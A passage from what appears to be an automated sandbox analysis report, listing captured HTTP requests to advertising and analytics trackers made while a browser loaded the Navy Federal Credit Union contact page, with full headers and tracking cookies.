IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
Source: global traffic	HTTP traffic detected: GET /activityi;dc_pre=CKCDt4evp4YDFSohBgAdDGcAEg;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1Host: 9749892.fls.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
Source: global traffic	HTTP traffic detected: GET /ddm/activity/src=9749892;dc_pre=CJvvuIevp4YDFQjyOwIdofgLng;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=5faf904f-3cc2-42e1-80ea-038b2d1a4c98&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=25e4b724-6d5f-4933-a100-c8e78bf75229&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=25e4b724-6d5f-4933-a100-c8e78bf75229&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=8fad9e17-f0ed-4f21-a9c5-07970eb80917&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /playback/v1/accounts/5289441629001/videos/5368522558001 HTTP/1.1Host: edge.api.brightcove.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json;pk=BCpkADawqM3w8vBuK08Bp0jwPTFZWFOfRjKUpOR22qkFYWavWsvxq78o5Yu59B2NvNjnB7KNMh_78C62tsjBGbtUftSYw7mPUp7YNbO8M8oJk8W4ioTlSA7is2GAoniam5uYljQgdhKe3X-6sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://players.brightcove.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://players.brightcove.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=8fad9e17-f0ed-4f21-a9c5-07970eb80917&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
Source: global traffic	HTTP traffic detected: GET /rest/v1/delivery?client=navyfederalcu&sessionId=acc9edf75c184210ac74e72cc44d0f35&version=2.7.0 HTTP/1.1Host: navyfederalcu.tt.omtrdc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&rl=&if=false&ts=1716590797195&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590796655&coo=false&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v3/?tid=2617254381486&noscript=1 HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZKaUswQUZTVUc4NjhjSExoc3l5Qm15SEhCb2psVnVLVmV6ejIxLzdicDZabFp1Mmg3MHNmUWFqbDJVVHNPK3JrM2ZYbm5Dc2tkS3AwMnlRRWVqTU5jRXlSVC9iMENCeUVDYzh0Rlo4dHFSUT0mbVdEYnU4VkZqeUpZbVJJR2kyaWEzbTYyK01FPQ=="
Source: global traffic	HTTP traffic detected: GET /v3/?event=PageView&tid=2617254381486&noscript=1 HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZKaUswQUZTVUc4NjhjSExoc3l5Qm15SEhCb2psVnVLVmV6ejIxLzdicDZabFp1Mmg3MHNmUWFqbDJVVHNPK3JrM2ZYbm5Dc2tkS3AwMnlRRWVqTU5jRXlSVC9iMENCeUVDYzh0Rlo4dHFSUT0mbVdEYnU4VkZqeUpZbVJJR2kyaWEzbTYyK01FPQ=="
Source: global traffic	HTTP traffic detected: GET /ns/__p2.gif?ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&chk=true&brid=2779&brcid=&email=&orderId=&orderValue=&productId=&offerCode=&label=&pageUrl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&referrerUrl=&targetUrl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&sessionId=19471654271041955080390332448085131267&markerType=seg&rand=chvDv3pidm9FZlWX&iabOptOut=-&jsVer=3.2.1&frVer=1.2&markerId=815428 HTTP/1.1Host: px0.pbbl.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CKeZtIevp4YDFZI5BgAd2RgBnQ;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=533c2d5e-d8da-4126-a3e5-0eb7139f2ccd&ona= HTTP/1.1Host: aa.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; u=C\|0AAAAAAAALePVQAAAAAAB
Source: global traffic	HTTP traffic detected: GET /sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&k=lionly&cache_buster=1716590800699 HTTP/1.1Host: live.rezync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEY0Q.ix4w4zRD0qwskviOGPug87sXHTc
Source: global traffic	HTTP traffic detected: GET /sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&k=lionly&cache_buster=1716590801051 HTTP/1.1Host: live.rezync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEY0Q.ix4w4zRD0qwskviOGPug87sXHTc
Source: global traffic	HTTP traffic detected: GET /sifitag/601005f1-638d-45e3-9d29-e04168bb80b3 HTTP/1.1Host: tag.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&autoplay=false&ads_enabled=false&event=catalog_response&url=https%3A%2F%2Fedge.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F5289441629001%2Fvideos%2F5368522558001&time=1716590801913&response_time_ms=1741&seq=3 HTTP/1.1Host: metrics.brightcove.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://players.brightcove.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk3NDk4OTIKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL25hdnlmZWRlcmFsLm9yZyIKeGZhX2F0dHJpYnV0aW9uX2ludGVyYWN0aW9uX3R5cGU6IENPTlZFUlNJT04KZGVidWdfa2V5OiA2MjAwNDIwNDA0NDQ5MzM5NjQ5CmN0Y19jb252ZXJzaW9uX2J1Y2tldDogMgphcmNoZXR5cGVfaWQ6IDEyCmFyY2hldHlwZV9pZDogMTMKYXJjaGV0eXBlX2lkOiAxNAphcmNoZXR5cGVfaWQ6IDE1CmFyY2hldHlwZV9pZDogMTYKYXJjaGV0eXBlX2lkOiAxNwphcmNoZXR5cGVfaWQ6IDE4CmFyY2hldHlwZV9pZDogMTkKYXJjaGV0eXBlX2lkOiAyMAphcmNoZXR5cGVfaWQ6IDIxCmFyY2hldHlwZV9pZDogNjI4NzI4Mzg4CmFyY2hldHlwZV9pZDogNjI4NzI4Mzg5CmFyY2hldHlwZV9pZDogNjI4NzI4MzkwCmFyY2hldHlwZV9pZDogNjI4NzI4MzkxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgwCmFyY2hldHlwZV9pZDogNjI4NzA2MTgxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgyCmFyY2hldHlwZV9pZDogNjI4NzA2MTgzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUyCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDU0CmFyY2hldHlwZV9pZDogNjI4Nzc0MDU1CmFyY2hldHlwZV9pZDogNjI4NzkwNjA4CmFyY2hldHlwZV9pZDogNjI4NzkwNjA5CmFyY2hldHlwZV9pZDogNjI4NzkwNjEwCmFyY2hldHlwZV9pZDogNjI4NzkwNjExCmFyY2hldHlwZV9pZDogNjI4NTEzNjgwCmFyY2hldHlwZV9pZDogNjI4NTEzNjgxCmFyY2hldHlwZV9pZDogNjI4NTEzNjgyCmFyY2hldHlwZV9pZDogNjI4NTEzNjgzCmFyY2hldHlwZV9pZDogNjI4ODUzODYwCmFyY2hldHlwZV9pZDogNjI4ODUzODYxCmFyY2hldHlwZV9pZDogNjI4ODUzODYyCmFyY2hldHlwZV9pZDogNjI4ODUzODYzCmNvbnZlcnNpb25fbWVhc3VyZW1lbnRfZGltZW5zaW9uc19kYXRhIHsKICBtZWFzdXJlbWVudF9kaW1lbnNpb246IENPTlZFUlNJT05fRElNRU5TSU9OX0ZMT09ETElHSFRfQUNUSVZJVFlfSUQKICBtZWFzdXJlbWVudF9kaW1lbnNpb25fdmFsdWUgewogICAgaW50NjRfdmFsdWU6IDEzODg2NDI2CiAgfQp9CmNvbnZlcnNpb25fbWVhc3VyZW1lbnRfZGltZW5zaW9uc19kYXRhIHsKICBtZWFzdXJlbWVudF9kaW1lbnNpb246IENPTlZFUlNJT05fRElNRU5TSU9OX0NPTlZFUlNJT05fREFURQogIG1lYXN1cmVtZW50X2RpbWVuc2lvbl92YWx1ZSB7CiAgICBzdHJpbmdfdmFsdWU6ICIyMDI0LTA1LTI0IgogIH0KfQpicm93c2VyX2F0dHJpYnV0aW9uX2FwaV9yZXF1ZXN0X3Byb2Nlc3NpbmdfYml0czogNTM2ODcwOTEyCnRyaWdnZXJfZGVkdXBsaWNhdGlvbl9rZXk6IDEwMTUyOTYxNDgwNzM4OTc1MDM4CmdhaWFfbW9kZTogZmFsc2UKZWNob19zZXJ2ZXJfYWN0aW9uOiBFQ0hPX1NFUlZFUl9BQ1RJT05fRk9SQ0VfREVMRUdBVEVEX0FSQQpyZWRpcmVjdF91cmxfZnJvbV9lY2hvX3NlcnZlcjogImh0dHBzOi8vYWRzZXJ2aWNlLmdvb2dsZS5jb20vZGRtL2Zscy96L3NyYz05NzQ5ODkyO2RjX3ByZT1DSnZ2dUlldnA0WURGUWp5T3dJZG9mZ0xuZzt0eXBlPWdlbmVyMDtjYXQ9bmZjdV8wMDA7ZGNfbGF0PTtkY19yZGlkPTt0YWdfZm9yX2NoaWxkX2RpcmVjdGVkX3RyZWF0bWVudD07dGZ1YT07bnBhPTtnZHByPSQlN0JHRFBSJTdEO2dkcHJfY29uc2VudD0kJTdCR0RQUl9DT05TRU5UXzc1NSU3RDtvcmQ9MSIKYWdncmVnYXRpb25fY29vcmRpbmF0b3I6IEFHR1JFR0FUSU9OX0NPT1JESU5BVE9SX0FXUwpmbG9vZGxpZ2h0X2FyYV9jb25maWdzIHsKICBhcmNoZXR5cGVzX2NvbmZpZyB7CiAgICBhZ2dyZWdhdGVfa2V5X2FyY2hldHlwZXMgewogICAgICBhcmNoZXR5cGVfaWQ6IDYyODcyODM4OAogICAgICBpbXByZXNzaW9uX2FyY2hldHlwZV9pZDogMTIKICAgICAgY29udmVyc2lvbl9hcmNoZXR5cGVfaWQ6IDIKICAgICAgY29udl9tZXRyaWNfdHlwZTogTUVUUklDX1RZUEVfQ09VTlQKICAgICAgYWdncmVnYXRlX2tleV9sZXZlbDogMQogICAgICBjb250cmlidXRpb25fcGVyY2VudGFnZTogMC4wMQogICAgfQogICAgYWdncmVnYXRlX2tleV9hcmNoZXR5cGVzIHsKICAgICAgYXJjaGV0eXBlX2lkOiA2Mjg3MjgzODkKICAgICAgaW1wcmVzc2lvbl9hcmNoZXR5cGVfaWQ6IDE2CiAgICAgIGNvbnZlcnNpb25fYXJjaGV0eXBlX2lkOiAyCiAgICAgIGNvbnZfbWV0cmljX3R5cGU6IE1FVFJJQ
Source: global traffic	HTTP traffic detected: GET /up_loader.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"If-None-Match: "a60a4e2650f94da6f243b9518761b381"If-Modified-Since: Mon, 20 May 2024 07:02:23 GMTsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFGAUoAzILCJ6juOLCk_48EAU4AUIEIgIIAVoHcGNsOGJpeWAB
